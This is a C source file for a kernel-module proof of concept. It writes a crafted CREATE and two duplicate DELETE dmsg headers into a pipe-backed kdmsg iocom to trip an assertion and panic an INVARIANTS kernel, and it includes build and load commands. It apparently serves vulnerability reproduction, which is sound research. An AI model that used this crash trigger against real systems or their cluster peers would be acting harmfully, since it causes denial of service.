/* DF-0018 deterministic in-kernel harness.
 *
 * Creates a private kdmsg_iocom over a kernel pipe (no DIOCRECLUSTER, no
 * autoinitiate, no disk-iocom complications), then writes three raw dmsg
 * header bytes into the pipe's write end:
 *
 *   1. CREATE  for msgid=42  (cmd-side, state inserted into staterd_tree)
 *   2. DELETE  for msgid=42  (state found, rxcmd |= DMSGF_DELETE; txcmd
 *                             lacks DELETE so RB_REMOVE is NOT taken; state
 *                             stays in the tree)
 *   3. DELETE  for msgid=42  (state found again, KKASSERT at
 *                             kern_dmsg.c:1076 fires because
 *                             state->rxcmd already has DMSGF_DELETE)
 *
 * This is the same receive path the reader thread runs for any DMSG peer
 * (HAMMER2 cluster / disk cluster / xdisk).  The threat model is "a peer
 * with cluster-link access"; loading this module requires root, which is
 * the in-kernel equivalent of that peer position.
 *
 * On an INVARIANTS kernel (default X86_64_GENERIC) this panics with:
 *     panic: assertion "(state->rxcmd & DMSGF_DELETE) == 0" failed ...
 *     in kdmsg_state_msgrx at .../kern_dmsg.c:1076
 *
 * On a non-INVARIANTS kernel the KKASSERT is a no-op (systm.h:117-119) and
 * the duplicate DELETE is absorbed benignly.
 *
 * Build (in guest, against /usr/src):
 *   cd /tmp/df18_harness && make
 * Load (will panic an INVARIANTS kernel):
 *   kldload ./df18_harness.ko
 */

#include <sys/types.h>
#include <sys/param.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/malloc.h>
#include <sys/module.h>
#include <sys/proc.h>
#include <sys/file.h>
#include <sys/filedesc.h>
#include <sys/kern_syscall.h>
#include <sys/mutex.h>
#include <sys/dmsg.h>

static MALLOC_DEFINE(M_DF18H, "df18h", "df0018 harness");

static kdmsg_iocom_t ic;

static int
df18_noop_rcv(kdmsg_msg_t *msg)
{
	/* just discard; we are only exercising the state machine */
	return 0;
}

static void
put32(struct file *wfp, uint32_t cmd, uint64_t msgid)
{
	struct {
		uint16_t magic;
		uint16_t pad02;
		uint32_t salt;
		uint64_t msgid;
		uint64_t circuit;
		uint64_t link_verifier;
		uint32_t cmd;
		uint32_t aux_crc;
		uint32_t aux_bytes;
		uint32_t error;
		uint64_t aux_descr;
		uint32_t pad38;
		uint32_t hdr_crc;
	} h;
	ssize_t res;
	int error;

	memset(&h, 0, sizeof(h));
	h.magic = 0x4832;		/* DMSG_HDR_MAGIC */
	h.cmd = cmd;
	h.msgid = msgid;

	error = fp_write(wfp, &h, sizeof(h), &res, UIO_SYSSPACE);
	if (error)
		kprintf("df18: fp_write error=%d res=%zd\n", error, res);
}

static int
df18_modevent(module_t mod, int type, void *data)
{
	int error;
	long fds[2];
	struct file *rfp, *wfp;

	switch (type) {
	case MOD_LOAD:
		kprintf("df18: loading; creating pipe-backed kdmsg iocom...\n");

		/* Create an in-kernel anonymous pipe.  Returns two fds;
		 * read end at fds[0], write end at fds[1]. */
		error = kern_pipe(fds, 0);
		if (error) {
			kprintf("df18: kern_pipe error=%d\n", error);
			return error;
		}
		/* Convert fds to file pointers (holdfp adds a ref) and
		 * drop the fdtable refs. */
		rfp = holdfp(curthread, (int)fds[0], -1);
		wfp = holdfp(curthread, (int)fds[1], -1);
		kern_close((int)fds[0]);
		kern_close((int)fds[1]);

		if (rfp == NULL || wfp == NULL) {
			kprintf("df18: holdfp failed\n");
			return ENFILE;
		}

		kdmsg_iocom_init(&ic, &ic, 0 /* no AUTO flags */, M_DF18H,
				 df18_noop_rcv);
		/* hand the kernel the read end; we (the module) own the write end */
		kdmsg_iocom_reconnect(&ic, rfp, "df18");

		kprintf("df18: iocom up; writing CREATE+2xDELETE for msgid=42\n");
		/* CREATE: LNK_PAD | DMSGF_CREATE.  LNK_PAD = 0x00000001
		 * (DMSG_PROTO_LNK | 0<<8 | DMSG_HDR_ENCODE(dmsg_hdr)=1). */
		put32(wfp, 0x00000001U | DMSGF_CREATE, 42ULL);
		/* Two back-to-back DELETEs for the same msgid. */
		put32(wfp, 0x00000001U | DMSGF_DELETE, 42ULL);
		put32(wfp, 0x00000001U | DMSGF_DELETE, 42ULL);

		/* Give the reader thread time to drain the pipe and trip the
		 * KKASSERT.  On an INVARIANTS kernel this never returns. */
		tsleep(&ic, 0, "df18w", 5 * hz);

		kprintf("df18: harness completed without panic "
			"(KKASSERT is a no-op on non-INVARIANTS kernels).\n");

		/* teardown */
		kdmsg_iocom_uninit(&ic);
		fdrop(wfp);
		return 0;

	case MOD_UNLOAD:
		return 0;
	default:
		return EOPNOTSUPP;
	}
}

static moduledata_t df18_mod = { "df18_harness", df18_modevent, NULL };
DECLARE_MODULE(df18_harness, df18_mod, SI_SUB_PSEUDO, SI_ORDER_ANY);
MODULE_VERSION(df18_harness, 1);
